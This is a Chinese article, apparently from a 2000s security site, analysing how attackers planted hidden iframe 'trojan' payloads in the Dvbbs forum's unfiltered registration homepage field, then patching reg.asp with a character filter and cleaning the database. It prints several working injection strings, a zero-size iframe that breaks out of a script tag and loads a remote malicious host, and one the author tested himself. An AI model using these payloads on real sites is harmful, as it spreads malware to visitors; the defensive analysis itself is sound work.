终结动网最新挂马方法 |

立刻 查看贴子源程序! 步骤:IE->查看->源文件
当时感觉就是用 IfRAME 来挂马的
查找 IfRAME 看见这些代码!
图一
<Script Language=JavaScript>
var actioninfo3=''单帖屏蔽'';document.write (dvbbs_show_topic(''406806'',''165'',''残暴二丫'','''','''',''dhoihjon@no.com'',''</Script><IfRAME height=0 width=0 sRc="</iframe>|||||||||<script''>hTtp://qiniqnnana.4400.cn/"></IFrAME>|||||||||<Script Language=JavaScript>var actioninfo3=\''单帖屏蔽\''|||||||||'','''',''Images/userface/image1.gif'',''<a href=http://www.77169.com><font color=red>【<b>华夏黑客同盟</b>】</font></a>:<a href=http://www.77169.com/pay/20041001.html><font color=green><b>一个月学会基本的黑客技术</b></font></a>'','''','''','''',''<img src=Skins/Default/emot/em01.gif border=0 align=middle onmousewheel="return bbimg(this)" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;">'',''2005-6-29 4:29:22'',''face1.gif'',''202.105.138.114'',''59990'',1,0,192360,2,''新手上路'','''','''',''13'',''2005-6-27'',''85'',''36'',''16'','''',''1'',0,''0'',''lvl01.gif'',4,''2005-6-29 4:22:51'',''0'',1,''tablebody2'',''0'',''0'',''''));
</Script>
细心的人已经发现了木马!
</Script><IfRAME height=0 width=0 sRc="</iframe''>hTtp://qiniqnnana.4400.cn/"></IFrAME>
大家注意看,残暴二丫 这个用户的问题,但是在回贴的子的时候看不到他的贴子,可是木马又发出去了怎么回事呢?
1,木马是怎么发上去的呢?
2,残暴二丫 回贴子的时候为什么看不见呢?
带着问题,我们接着分析一下!
二,分析
1,木马是怎么发上去的呢?
首先想到在后台查一下 残暴二丫的用户资料。
看到如图2
主页这里代码
</Script><IfRAME height=0 width=0 sRc="</iframe''>hTtp://qiniqnnana.4400.cn/"></IFrAME>
这回明白了,原来他是将代码写在主页这里呀!
难道说动网没有过滤?
于是
打开注册页面我注册一个用户试试!
如图3(点击查看大图)
主页里,我写上
</Script><IfRAME height=0 width=0 sRc="hTtp://77169.com/muma.html"></IFrAME>
竟然注册成功!跟个贴子,结果可能想而知了!就这么简单的让别人运行了我们的木马页面!
看来是reg.asp页面没过滤。
打开reg.asp(动网注册页面)查看源程序!
UserIM=checkreal(Request.form("homepage")) &"|||"& checkreal(Request.form("OICQ")) &"|||"& checkreal(Request.form("ICQ")) &"|||"& checkreal(Request.form("msn")) &"|||"& checkreal(Request.form("yahoo")) &"|||"& checkreal(Request.form("aim")) &"|||"& checkreal(Request.form("uc"))
分析动网数据库才明白 UserIM 是TEXT类型用来存储 主页,OICQ,ICQ,msn,yahoo,aim,uc
存储格式
主页|||OICQ|||ICQ|||msn|||yahoo|||aim|||uc
homepage 就是注册时的主页选项,(Request.form("homepage")) 从from表单得到数据
checkreal 是不是过滤呢,找到看了一下,不是过滤函数.
看来没有对 homepage 处理好!我们怎么解决一会说!
2,残暴二丫 回贴子的时候为什么看不见 呢?
分析代码,
<Script Language=JavaScript>
var actioninfo3=''单帖屏蔽'';document.write (dvbbs_show_topic(''406806'',''165'',''残暴二丫'','''','''',''dhoihjon@no.com'',''</Script><IfRAME height=0 width=0 sRc="hTtp://qiniqnnana.4400.cn/"></IFrAME>|||||||||<Script Language=JavaScript>var actioninfo3=\''单帖屏蔽\''|||||||||'','''',''Images/userface/image1.gif'',''<a href=http://www.77169.com><font color=red>【<b>华夏黑客同盟</b>】</font></a>:<a href=http://www.77169.com/pay/20041001.html><font color=green><b>一个月学会基本的黑客技术</b></font></a>'','''','''','''',''<img src=Skins/Default/emot/em01.gif border=0 align=middle onmousewheel="return bbimg(this)" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;">'',''2005-6-29 4:29:22'',''face1.gif'',''202.105.138.114'',''59990'',1,0,192360,2,''新手上路'','''','''',''13'',''2005-6-27'',''85'',''36'',''16'','''',''1'',0,''0'',''lvl01.gif'',4,''2005-6-29 4:22:51'',''0'',1,''tablebody2'',''0'',''0'',''''));
</Script>
熟悉Script脚本的朋友都知道</Script>应当是结束代码
大家注意到没有,</Script>有两个,那个是结束标记呢?当然是最近的那个
所以,Script脚本到 </Script><IfRAME height=0 width=0 sRc="hTtp://qiniqnnana.4400.cn/"></IFrAME> 这里就结束了,下面的没有执行所以不显示。
三,终结动网最新挂马方法
从分析步骤中可能看出是对 homepage 没有处理好!
下面我们写一个程序来处理一下 homepage 的输入!
大家再一下这个代码
UserIM=checkreal(Request.form("homepage")) &"|||"& checkreal(Request.form("OICQ")) &"|||"& checkreal(Request.form("ICQ")) &"|||"& checkreal(Request.form("msn")) &"|||"& checkreal(Request.form("yahoo")) &"|||"& checkreal(Request.form("aim")) &"|||"& checkreal(Request.form("uc"))
都没处理。
一个一个变量去过滤太麻烦
我们直接对 UserIM 进入过滤就可以了!
在reg.asp 最下面加一个过滤函数
<%
function HTMLEncode2(fString)
fString=replace(fString,";","过滤")
fString=replace(fString,"<","过滤")
fString=replace(fString,">","过滤")
fString=replace(fString,"\","过滤")
fString=replace(fString,"--","过滤")
fString=replace(fString,"''","过滤")
fString=replace(fString," ","过滤")
fString=replace(fString,"%","过滤")
''fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode2=fString
end function
%>
接着reg.asp中用到 UserIM的有两处.
查找到 "UserIM=" 在这条语句之后加入一条语句
UserIM=HTMLEncode2(UserIM)
到此reg.asp文件过滤完了!
想想可能还有别的文件也用到了UserIM吧!
可能修改主页选项的应当有三处
1,注册的时候,
2,注册之后可以修改个人信息,
3,管理员在后台修改个人信息
补的方式也都一样,
modifyadd.asp 是修改个人信息时用的文件。相同的步骤
1,加上过滤函数
2,查找到 "UserIM=" 在这条语句之后加入一条语句
UserIM=HTMLEncode2(UserIM)
后台管理员修改个人信息那个就别管他了。
再想想,还有没有漏补的地方?
对了,在给文件打补丁之前有人已经发木马了!我只删除了一个用户,可能还有别的用户也有问题,而且不知道是那个用户,现在要不然等他再发贴子,看见了有木马再删除,这样太被动了。19万注册用户又不可能一个一个去查一下。
怎么办呢?
搜索一下有问题的用户删除!是个好办法。
SQL版的TEXT类型 直接用查询分析器查不出来,
下面我改写了一个程序,主要功能用来搜索TEXT类型的数据并替换它!
图四
解决之前已经有问题的注册用户(就是已经将主页那改成 </Script><IfRAME height=0 width=0 sRc="hTtp://XXXXX.com/"></IFrAME>的用户)
数据表名
dv_user
字段名
UserIM
其它条件
UserID>180000
将字符:
</Script><IfRAME
替换成:
11Script11IfRAME
点开始替换之后,显示替换6个成功!
看来注册了不少有问题的用户。
OK 到此问题已经解决!
/ArtImage/20070928/replacedvbbsdb77169.zip
